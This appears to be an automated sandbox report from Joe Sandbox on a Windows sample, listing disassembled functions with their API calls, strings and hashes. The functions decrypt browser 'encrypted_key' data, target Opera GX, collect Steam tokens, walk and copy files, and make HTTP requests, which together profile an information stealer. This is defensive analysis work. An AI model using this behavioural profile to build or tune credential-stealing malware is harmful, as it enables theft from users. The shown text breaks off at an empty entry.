Part of subcall function 003D6CD0: LocalFree.KERNEL32(?,?,003D6262,00000000,?,?,?,?,?,?,?,?,00000030), ref: 003D6D2C

Part of subcall function 003D6D50: CryptUnprotectData.CRYPT32(003DEC94,00000000,00000000,00000000,00000000,00000000,?), ref: 003D6D75
Part of subcall function 003D6D50: LocalAlloc.KERNEL32(00000040,?,00000000), ref: 003D6D8D
Part of subcall function 003D6D50: LocalFree.KERNEL32(?), ref: 003D6DAE

Strings

, xrefs: 003DBEE1
"encrypted_key":", xrefs: 003DBE77

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"
API String ID: 2311102621-1472317035
Opcode ID: a2b761770cb04e43d5ecaf8ede3f4e36dd26bb085058bb37ecbc0731fffdb6ec
Instruction ID: 838e203d15e2a35d533cd606cf22bf8cbcf06eada4c5964baf71a836bde4f69c
Opcode Fuzzy Hash: a2b761770cb04e43d5ecaf8ede3f4e36dd26bb085058bb37ecbc0731fffdb6ec
Instruction Fuzzy Hash: 462187B791010CABDB06EBB4EC82AEF777DDB44300F054259F90197356EB30DA14CAA1

Function 6C293060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C293095

Part of subcall function 6C2935A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C31F688,00001000), ref: 6C2935D5
Part of subcall function 6C2935A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C2935E0
Part of subcall function 6C2935A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C2935FD
Part of subcall function 6C2935A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C29363F
Part of subcall function 6C2935A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C29369F
Part of subcall function 6C2935A0: __aulldiv.LIBCMT ref: 6C2936E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C29309F

Part of subcall function 6C2B5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C2B56EE,?,00000001), ref: 6C2B5B85
Part of subcall function 6C2B5B50: EnterCriticalSection.KERNEL32(6C31F688,?,?,?,6C2B56EE,?,00000001), ref: 6C2B5B90
Part of subcall function 6C2B5B50: LeaveCriticalSection.KERNEL32(6C31F688,?,?,?,6C2B56EE,?,00000001), ref: 6C2B5BD8
Part of subcall function 6C2B5B50: GetTickCount64.KERNEL32 ref: 6C2B5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C2930BE

Part of subcall function 6C2930F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C293127
Part of subcall function 6C2930F0: __aulldiv.LIBCMT ref: 6C293140

Part of subcall function 6C2CAB2A: __onexit.LIBCMT ref: 6C2CAB30

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0f9d6cd990e599f3a6c7d75099467f94e5463072e5a91e66946d4574a89120d1
Instruction ID: e680756b92f81b646a3f602bedd9d6a2eddf8ed46a01ffd3f24958a21afc4885
Opcode Fuzzy Hash: 0f9d6cd990e599f3a6c7d75099467f94e5463072e5a91e66946d4574a89120d1
Instruction Fuzzy Hash: 12F0F422E20B4C9BCB10DF3488421E6B378AF6F218F101329EC5C67A21FF2061D88382

Function 003E1090 Relevance: 4.5, APIs: 3, Instructions: 30COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 003E10A5
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 003E10C0
CloseHandle.KERNEL32(00000000), ref: 003E10C7

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 13460708e0b02a0b7a2d4f5c67d8f6d6555bfd7f7a6b463f3083390f65c54ad2
Instruction ID: 5099a5180f84b7a53312b9dc194ec46c5d40baaf82b1d76615027e393cb2954f
Opcode Fuzzy Hash: 13460708e0b02a0b7a2d4f5c67d8f6d6555bfd7f7a6b463f3083390f65c54ad2
Instruction Fuzzy Hash: 97F065726516286BDB21AB589C45FEE776CDF04B10F009251FF09AB290DBB06D848BD5

Function 003DD000 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 349COMMON

Download Yara Rule

APIs

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

StrCmpCA.SHLWAPI(00000000,Opera GX,003F01E9,003F01E9,?), ref: 003DD037

Part of subcall function 003E0D50: SHGetFolderPathA.SHELL32(00000000,003F01E9,00000000,00000000,?,00000000,?), ref: 003E0D81

Part of subcall function 003DF940: lstrcpyA.KERNEL32(00000000,?,00000000,003E76BE), ref: 003DF981
Part of subcall function 003DF940: lstrcatA.KERNEL32(00000000), ref: 003DF98D

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003E0D10: GetFileAttributesA.KERNEL32(00000000,?,?,003DB844,?,00000000,?,00000000,003F01E9,003F01E9), ref: 003E0D1D

Strings

Opera GX, xrefs: 003DD023

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AttributesFileFolderPathlstrlen
String ID: Opera GX
API String ID: 1719890681-3280151751
Opcode ID: e19a475a72b2cbf8b1875449183ec71389123a10b83c1f685a931657f825e571
Instruction ID: 2e2aaa343235e1001a55e70a6815ffe5085c11ff3c142133227d47a85608abb6
Opcode Fuzzy Hash: e19a475a72b2cbf8b1875449183ec71389123a10b83c1f685a931657f825e571
Instruction Fuzzy Hash: E6D1F477910148AFCB06FFB4ED92DEE7778AF54300F54452AF8066B251EB306A08DB62

Function 003E2EE0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003D5010: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003D5062
Part of subcall function 003D5010: StrCmpCA.SHLWAPI(?,031D06D8,?,?,?,?,?,?,?), ref: 003D507A
Part of subcall function 003D5010: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 003D50A2
Part of subcall function 003D5010: HttpOpenRequestA.WININET(00000000,GET,?,031D6108,00000000,00000000,-00400100,00000000), ref: 003D50DC
Part of subcall function 003D5010: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 003D5100
Part of subcall function 003D5010: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003D510F

StrCmpCA.SHLWAPI(00000000,ERROR,?,?,?,?,?,?,?,?,?,?,?,?,?,003E3AD4), ref: 003E2F20

Strings

ERROR, xrefs: 003E2F12, 003E2F4A

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR
API String ID: 3287882509-2861137601
Opcode ID: ad05aff22f5400d23e986e4c27f744db5d13e99128a76e934e5cbaaa91e047f5
Instruction ID: e6127606c3f4f6cf1c92ca295029c8b09e3d9c2b7109c53308bdb50212cdbb3a
Opcode Fuzzy Hash: ad05aff22f5400d23e986e4c27f744db5d13e99128a76e934e5cbaaa91e047f5
Instruction Fuzzy Hash: 571100775501586FCB46FB74F8929ED376CAE10340F44816AF8075B396EF309A09D6D2

Function 003E03E0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(00000000), ref: 003E03EB

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Strings

Unknown, xrefs: 003E040A

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: CurrentProfilelstrcpy
String ID: Unknown
API String ID: 2831436455-1654365787
Opcode ID: edf10ac991d640d1a29ac596cdbc337083a06e96132059037df95928adf2fca3
Instruction ID: 1a02e2c4015959686d0aa0ddca4c2f9f773133225d0845cdb432ce1bbf7a450b
Opcode Fuzzy Hash: edf10ac991d640d1a29ac596cdbc337083a06e96132059037df95928adf2fca3
Instruction Fuzzy Hash: AAE08623F0412C674E15BBACBC418EEB76CCB48B51B04425AFE09D7381DE6599158BD6

Function 003E13C0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SHFileOperationA.SHELL32(?), ref: 003E13F6

Strings

it>, xrefs: 003E13C6

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID: it>
API String ID: 3080627654-846563556
Opcode ID: 9020c2a54ad08b2b184980d57368146be2ebbd35bf1f442224bc56f28a0b0430
Instruction ID: cdb376d7964f47b59d47ed0a37152beaaa908c5eecaa8b913a1c99d42b28d00d
Opcode Fuzzy Hash: 9020c2a54ad08b2b184980d57368146be2ebbd35bf1f442224bc56f28a0b0430
Instruction Fuzzy Hash: 7AE0AEB4D0420C9FCB48DFA8D8006AEBBF8EF48300F00416AD908E7341E77596008B95

Function 003E61A0 Relevance: 3.1, APIs: 2, Instructions: 124stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003E0D50: SHGetFolderPathA.SHELL32(00000000,003F01E9,00000000,00000000,?,00000000,?), ref: 003E0D81

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 003E61D7
lstrcatA.KERNEL32(?,031D5D90), ref: 003E61F2

Part of subcall function 003E5EA0: wsprintfA.USER32 ref: 003E5EBC
Part of subcall function 003E5EA0: FindFirstFileA.KERNEL32(?,?), ref: 003E5ED3
Part of subcall function 003E5EA0: StrCmpCA.SHLWAPI(?,003F01DC), ref: 003E5EFC
Part of subcall function 003E5EA0: StrCmpCA.SHLWAPI(?,003F01D8), ref: 003E5F16
Part of subcall function 003E5EA0: wsprintfA.USER32 ref: 003E5F3B
Part of subcall function 003E5EA0: StrCmpCA.SHLWAPI(?,003F01E9), ref: 003E5F4A
Part of subcall function 003E5EA0: wsprintfA.USER32 ref: 003E5F67
Part of subcall function 003E5EA0: PathMatchSpecA.SHLWAPI(?,?), ref: 003E5F97
Part of subcall function 003E5EA0: lstrcatA.KERNEL32(?,031D0848,?,000003E8), ref: 003E5FC3
Part of subcall function 003E5EA0: lstrcatA.KERNEL32(?,003F01E0), ref: 003E5FD5
Part of subcall function 003E5EA0: lstrcatA.KERNEL32(?,?), ref: 003E5FE3
Part of subcall function 003E5EA0: lstrcatA.KERNEL32(?,003F01E0), ref: 003E5FF5
Part of subcall function 003E5EA0: lstrcatA.KERNEL32(?,?), ref: 003E6009

Part of subcall function 003E5EA0: wsprintfA.USER32 ref: 003E5F86
Part of subcall function 003E5EA0: CopyFileA.KERNEL32(?,00000000,00000001), ref: 003E60AA
Part of subcall function 003E5EA0: DeleteFileA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,003F01E9), ref: 003E6119

Part of subcall function 003E5EA0: FindNextFileA.KERNEL32(?,?), ref: 003E6160
Part of subcall function 003E5EA0: FindClose.KERNEL32(?), ref: 003E6172

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 020a456b477761d8b31d849751c817d6173ecbb65ae12e7e6b3dca3b96d26ae7
Instruction ID: e8ffdeb160db872ad3de15721e356068b8aa44732a5d7e38351f6064c1999f0d
Opcode Fuzzy Hash: 020a456b477761d8b31d849751c817d6173ecbb65ae12e7e6b3dca3b96d26ae7
Instruction Fuzzy Hash: A34189B69001087FC71AFBB4DD43CFE3379AB94300F444619F9055A242EAB86B48CBA2

Function 003E4400 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 53stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

lstrlenA.KERNEL32(00000000,00000000,?,00000000,003F01E9,?,?,?,003E6ED8,?,?), ref: 003E443F

Part of subcall function 003E42A0: Sleep.KERNEL32(000003E8,?,=O>,?,?,00000000), ref: 003E4345
Part of subcall function 003E42A0: CreateThread.KERNEL32(00000000,00000000,003E30F0,?,00000000,00000000), ref: 003E438D
Part of subcall function 003E42A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 003E4399

Strings

Soft\Steam\steam_tokens.txt, xrefs: 003E4454

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$CreateObjectSingleSleepThreadWaitlstrcat
String ID: Soft\Steam\steam_tokens.txt
API String ID: 2356188485-3507145866
Opcode ID: 9f4fd9d1ad67fd938a19b8d72e4da6e04b61b90d4ac96fa44c1033dcab790436
Instruction ID: 768b15f56721ae8f025f68f1a57a3699db35afdec61851e1e9b831933cef4f80
Opcode Fuzzy Hash: 9f4fd9d1ad67fd938a19b8d72e4da6e04b61b90d4ac96fa44c1033dcab790436
Instruction Fuzzy Hash: 691181778101486EDB46FBB0FCD39EE773CAE50340F444676F5076A292EF30664996A2

Function 003D7AB0 Relevance: 2.7, APIs: 2, Instructions: 214stringCOMMON

Download Yara Rule

APIs

